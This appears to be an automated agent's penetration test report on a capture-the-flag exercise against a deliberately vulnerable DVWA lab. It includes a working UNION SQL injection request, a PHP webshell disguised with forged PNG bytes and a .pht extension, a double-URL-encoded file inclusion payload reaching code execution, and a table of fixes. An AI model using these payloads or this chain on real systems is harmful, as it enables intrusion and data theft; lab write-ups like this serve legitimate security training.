

Penetration Test Report

Target: http://100.113.75.28:8081/ | DVWA Custom Build
Date: 2026-03-06 | Tester: Automated Pentest Agent | Status: FLAG CAPTURED

1. Executive Summary

A penetration test was conducted against a custom Damn Vulnerable Web Application (DVWA) instance running on Apache 2.4.65 / PHP 8.5.0. The objective was to locate and retrieve a hidden flag stored within the system.

The engagement was successful. The flag was retrieved via a chained exploit combining a flawed file upload filter bypass (uploading a PHP webshell with a .pht extension and forged PNG magic bytes) with a Local File Inclusion (LFI) vulnerability that used double URL-encoding to bypass a path traversal filter. Remote Code Execution was achieved as www-data, and the flag was found at /foothold/flag.txt.

FLAG CAPTURED: `FLAG{INITIAL_FOOTHOLD_ACHIEVED}`

2. Scope & Methodology

2.1 Scope

- Target IP: 100.113.75.28
- Target Port: 8081
- Application: DVWA (custom security level)
- Out of scope: .git / .svn source access

2.2 Methodology

The test followed a phase-based approach:

- Phase 1 — Reconnaissance & Enumeration
- Phase 2 — Exploitation (File Upload Bypass + LFI + RCE)
- Phase 3 — Post-Exploitation (Flag Retrieval)

3. Reconnaissance & Enumeration

3.1 Port & Service Scan

Nmap scan revealed a single open port:

Port	Service	Version	Notes
8081/tcp	HTTP	Apache/2.4.65 (Debian)	PHP 8.5.0 Cookie: security=custom

3.2 Key Findings from Enumeration

- robots.txt revealed /admin/, /backup/, /debug/ (all returned 404 — decoys)
- Exposed php.ini: allow_url_include=on, allow_url_fopen=on (RFI enabled)
- Gobuster found: setup.php, instructions.php, security.txt, php.ini, config/, database/
- DVWA security level: custom (non-standard, each module has custom PHP source)
- Default credentials admin/password accepted
- SQLi module source exposed via /vulnerabilities/view_source.php — revealed a hidden backdoor (role=admin disables WAF)

3.3 Top Vulnerability Hypotheses (Phase 1 Checkpoint)

Rank	Vulnerability	Severity	Evidence
#1	SQLi + Hidden Backdoor (role=admin)	CRITICAL	Source code showed role=admin bypasses WAF; direct string interpolation in query
#2	Remote File Inclusion (RFI)	HIGH	php.ini: allow_url_include=on confirmed
#3	File Upload + LFI Chain	HIGH	Upload allows .pht; LFI strips ../ but decodes AFTER; double-encode bypass

4. Exploitation

4.1 SQLi Backdoor — Database Enumeration

The custom SQLi module contained a hardcoded backdoor: passing role=admin set \$skip_filter=true, completely bypassing the WAF. Combined with debug=1, full query visibility was achieved. UNION-based injection was used to enumerate all tables and columns.

SQL Injection payload used:

```
GET /vulnerabilities/sqli/?id=0'+UNION+SELECT+table_name,2,3,4+FROM
information_schema.tables+WHERE+table_schema=database()--+
&role=admin&debug=1&Submit=Submit
```

Tables found: access_log, guestbook, security_log, users. No flag column was present in the database. LOAD_FILE() was unavailable (insufficient DB privilege).

4.2 File Upload Bypass

The upload module (custom.php) implemented multiple flawed validation checks:

Check	Implementation Flaw	Bypass
MIME type check	Only checks client-supplied Content-Type	Send image/png in multipart form
Magic byte check	Checks offset 1-3 for 'PNG' instead of 0-3	Prepend \x00PNG to PHP payload
Extension filter (regex)	/ph(ar p tml p[1-9])/i — does not match 'pht'	Use .pht extension (Apache executes as PHP)
GD revalidation	Only applied to .png files, not .pht	Bypassed by extension mismatch

Webshell payload uploaded:

```
\x00PNG\r\n\x1a\n<?php echo '###' . shell_exec($_GET['c'] . ' 2>&1') . '###';
?>
Filename: img_shell.pht | MIME: image/png
Uploaded to: hackable/uploads/custom_d78aa.../img_2b8e0aaa48.pht
```

4.3 LFI Bypass — Double URL Encoding

The File Inclusion module (custom.php) attempted to block path traversal by calling `str_replace('../', '', $file)` BEFORE calling `urldecode()`. This order-of-operations flaw allowed bypass via double URL-encoding:

```
Step 1 - Normal:    ../../hackable/... → stripped to hackable/... (blocked)
Step 2 - Encoded:   ..%2F..%2Fhackable → not matched by str_replace
                  After urldecode: ../../hackable → TRAVERSAL SUCCEEDS
Step 3 - But Apache re-decodes %2F, so double-encode required: ..%252F..%252F
```

Final LFI payload:

```
GET /vulnerabilities/fi/?page=..%252F..%252Fhackable%252Fuploads%252F
custom_d78aa...%252Fimg_2b8e0aaa48.pht&c=id
```

RCE verified: uid=33(www-data) gid=33(www-data)

5. Post-Exploitation & Flag Retrieval

5.1 Filesystem Reconnaissance

With RCE established, a PHP script was written to /tmp via the webshell and executed to search the filesystem for FLAG{} patterns. Standard shell tools (cat, grep, sed, find) were restricted, but php binary was available.

Search scope: /, /var/www, /tmp, /home, /root, /etc, /foothold

5.2 Flag Location

Flag file found: /foothold/flag.txt

Flag value: **FLAG{INITIAL_FOOTHOLD_ACHIEVED}**

Retrieval command (via webshell through LFI):

```
php -r "echo file_get_contents('/foothold/flag.txt');"
```

6. Attack Chain Summary

Step	Action	Technique	Outcome
1	Reconnaissance	Nmap, Gobuster, source review	Identified custom DVWA, exposed php.ini, found SQLi backdoor in source
2	Authentication	Default credentials (admin/password)	Authenticated to DVWA
3	DB Enumeration	SQLi + role=admin WAF bypass + UNION SELECT	Enumerated all tables; no flag in DB
4	Webshell Upload	Magic byte forge + .pht ext + image/png MIME	PHP webshell uploaded to hackable/uploads/
5	LFI Bypass	Double URL-encoding (%252F) to bypass str_replace filter	Shell executed via PHP include()
6	RCE	Shell commands via ?c= parameter through LFI	Code execution as www-data confirmed
7	Flag Retrieval	PHP file_get_contents('/foothold/flag.txt')	FLAG{INITIAL_FOOTHOLD_ACHIEVED}

7. Vulnerabilities & Recommendations

Vulnerability	Severity	Root Cause	Recommendation
Hidden SQLi Backdoor (role=admin)	CRITICAL	Intentional backdoor in custom.php disabling WAF when role=admin is passed	Remove backdoor; use parameterized queries
Default Credentials	HIGH	admin/password accepted on login	Enforce strong password policy
Exposed php.ini & Source Files	HIGH	php.ini and view_source.php accessible without auth	Restrict access; disable dangerous PHP settings
File Upload — Magic Byte Flaw	HIGH	substr(\$bytes, 1, 3) checks offset 1 instead of 0; only MIME from client	Use imagecreatefromstring() for all uploads; server-side MIME detection
File Upload — Extension Whitelist Missing .pht	HIGH	Regex /ph(ar p tml)p[1-9]/i misses .pht, .shtml, .cgi etc.	Use strict whitelist (jpg, png, gif only); store outside webroot
LFI — Double URL-Encoding Bypass	HIGH	str_replace('../') runs BEFORE urldecode() — encoded traversal bypasses filter	Use realpath() + whitelist of allowed include files

Vulnerability	Severity	Root Cause	Recommendation
Sensitive File Exposure (/foothold/flag.txt)	MEDIUM	Sensitive file readable by www-data process outside webroot	Restrict file permissions; use dedicated secret storage

8. Conclusion

The engagement successfully demonstrated a full attack chain from unauthenticated reconnaissance to RCE and flag retrieval on a custom DVWA instance. The critical path exploited was a combination of a flawed file upload validator (incorrect magic byte offset, missing .pht from extension blacklist) chained with a path traversal filter that applied str_replace before urldecode, making double URL-encoding an effective bypass.

The flag FLAG{INITIAL_FOOTHOLD_ACHIEVED} was retrieved from /foothold/flag.txt by a PHP webshell executed under the www-data user context.

Confirmed Flag: `FLAG{INITIAL_FOOTHOLD_ACHIEVED}`